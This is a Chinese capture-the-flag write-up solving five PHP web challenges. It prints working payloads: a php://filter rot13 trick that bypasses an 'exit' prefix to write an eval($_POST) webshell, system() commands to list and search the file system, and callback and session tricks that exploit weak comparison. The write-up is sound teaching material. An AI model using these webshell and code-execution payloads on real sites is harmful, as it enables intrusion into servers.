热身
<?php
eval($_GET['f']);
方法一
打开之后先查看phpinfo()
直接可以代码执行,从phpinfo里面找到flag的位置(自动包含的文件)
输出即可得flag
方法二
第二种思路是,查看当前页面得变量,直接出flag
?f=print_r(get_defined_vars());
web1
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
知识点:死亡exit的绕过(分为三种情况)
参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
网上通用payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
========><?php @eval($_POST[cmd]);?>
写入可利用参数cmd
查找fl开头的文件,post传参 cmd=system("find / -name fl*");
发现有个/flag.txt
查看/flag.txt 即为flag
web2
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){ //post传入的参数量必须只有一个
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ //invoke
echo $flag;
}
}
?>
session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。
Post
session_id=session_id
Cookie
PHPSESSID=HappyNewYear
即可得flag
web3
<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
知识点:弱比较和回调函数
PHP弱类型比较:https://blog.csdn.net/THlo1/article/details/108227721
payload:
?1=session_start
?1=error_reporting
?1=json_last_error
session_start:开启会话
error_reporting:如果没有设置可选参数 level, error_reporting() 仅会返回当前的错误报告级别
json_last_error:如果有,返回 JSON 编码解码时最后发生的错误
web4
<?php
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。
当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。
传入 ?1=spl_autoload_extensions
生成 .inc,.php 文件(shell文件)
之后进入.inc,.php
1=system(‘ls /’)
查看目录下所有文件,发现有个f1ag.txt
查看f1ag.txt即可得flag